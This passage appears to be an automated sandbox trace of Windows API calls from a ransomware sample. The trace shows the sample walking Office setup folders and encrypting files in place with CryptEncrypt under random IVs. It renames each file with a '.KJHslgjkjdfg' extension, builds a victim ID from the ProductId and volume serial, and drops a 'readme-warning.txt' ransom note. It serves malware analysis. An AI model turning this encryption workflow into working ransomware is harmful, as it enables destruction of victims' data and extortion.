hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0170.197] GetProcessHeap () returned 0x2ef0000 [0170.197] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0170.197] GetProcessHeap () returned 0x2ef0000 [0170.197] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0170.197] GetProcessHeap () returned 0x2ef0000 [0170.197] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.197] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0170.197] GetProcessHeap () returned 0x2ef0000 [0170.197] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0170.197] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0170.197] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0170.197] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Outlook.en-us", cAlternateFileName="OUTLOO~1.EN-")) returned 1 [0170.197] GetProcessHeap () returned 0x2ef0000 [0170.197] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xcc) returned 0x2f14588 [0170.197] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0170.199] GetProcessHeap () returned 0x2ef0000 [0170.199] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0170.199] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0170.199] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0170.199] GetProcessHeap () returned 0x2ef0000 [0170.199] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2ce) returned 0x2f47728 [0170.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.199] GetProcessHeap () returned 0x2ef0000 [0170.199] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.199] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.199] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.199] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xe, lpOverlapped=0x0) returned 1 [0170.202] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.202] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.202] GetProcessHeap () returned 0x2ef0000 [0170.202] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.202] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0170.202] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.202] WriteFile (in: hFile=0x118, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0170.202] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.202] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.202] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.203] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.203] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.203] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.203] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.203] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.203] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc72, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0xc72, lpOverlapped=0x0) returned 1 [0170.203] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0xc80, dwBufLen=0xc80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0xc80) returned 1 [0170.203] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.203] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0xc80, lpOverlapped=0x0) returned 1 [0170.203] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.203] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xd54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.203] SetEndOfFile (hFile=0x118) returned 1 [0170.206] GetProcessHeap () returned 0x2ef0000 [0170.206] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.206] GetProcessHeap () returned 0x2ef0000 [0170.206] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.206] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.kjhslgjkjdfg")) returned 1 [0170.212] CloseHandle (hObject=0x118) returned 1 [0170.212] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0170.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.213] GetProcessHeap () returned 0x2ef0000 [0170.213] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.213] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.213] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.214] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x1, lpOverlapped=0x0) returned 1 [0170.216] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.216] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.216] GetProcessHeap () returned 0x2ef0000 [0170.216] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0170.217] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0170.217] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.217] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0170.217] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.217] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.217] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.217] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.217] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.217] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.217] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.217] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.217] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x106f, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x106f, lpOverlapped=0x0) returned 1 [0170.218] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x1070, dwBufLen=0x1070 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x1070) returned 1 [0170.218] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.218] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x1070, lpOverlapped=0x0) returned 1 [0170.218] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.218] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x1134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.218] SetEndOfFile (hFile=0x118) returned 1 [0170.221] GetProcessHeap () returned 0x2ef0000 [0170.221] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0170.221] GetProcessHeap () returned 0x2ef0000 [0170.221] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.221] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0170.226] CloseHandle (hObject=0x118) returned 1 [0170.227] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0170.227] GetProcessHeap () returned 0x2ef0000 [0170.227] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.227] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.227] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0170.227] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.227] GetProcessHeap () returned 0x2ef0000 [0170.227] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0170.227] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.227] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0170.227] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.227] GetProcessHeap () returned 0x2ef0000 [0170.227] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0170.227] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.227] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f416d0, pdwDataLen=0x4dfeb98) returned 1 [0170.227] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.228] GetProcessHeap () returned 0x2ef0000 [0170.228] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0170.228] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.228] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0170.228] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.228] GetProcessHeap () returned 0x2ef0000 [0170.228] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.228] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.228] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0170.228] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.228] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0x118) returned 0x0 [0170.228] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0170.228] RegCloseKey (hKey=0x118) returned 0x0 [0170.229] GetProcessHeap () returned 0x2ef0000 [0170.229] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0170.229] GetProcessHeap () returned 0x2ef0000 [0170.229] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.229] GetProcessHeap () returned 0x2ef0000 [0170.229] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.229] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.229] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0170.229] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.229] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.229] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.229] GetProcessHeap () returned 0x2ef0000 [0170.229] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.230] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.230] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.230] GetProcessHeap () returned 0x2ef0000 [0170.230] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0170.230] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\readme-warning.txt") returned 112 [0170.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.233] WriteFile (in: hFile=0x118, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0170.234] CloseHandle (hObject=0x118) returned 1 [0170.234] GetProcessHeap () returned 0x2ef0000 [0170.235] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0170.235] GetProcessHeap () returned 0x2ef0000 [0170.235] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0170.235] GetProcessHeap () returned 0x2ef0000 [0170.235] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0170.235] GetProcessHeap () returned 0x2ef0000 [0170.235] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.235] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0170.235] GetProcessHeap () returned 0x2ef0000 [0170.235] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0170.235] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0170.235] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, 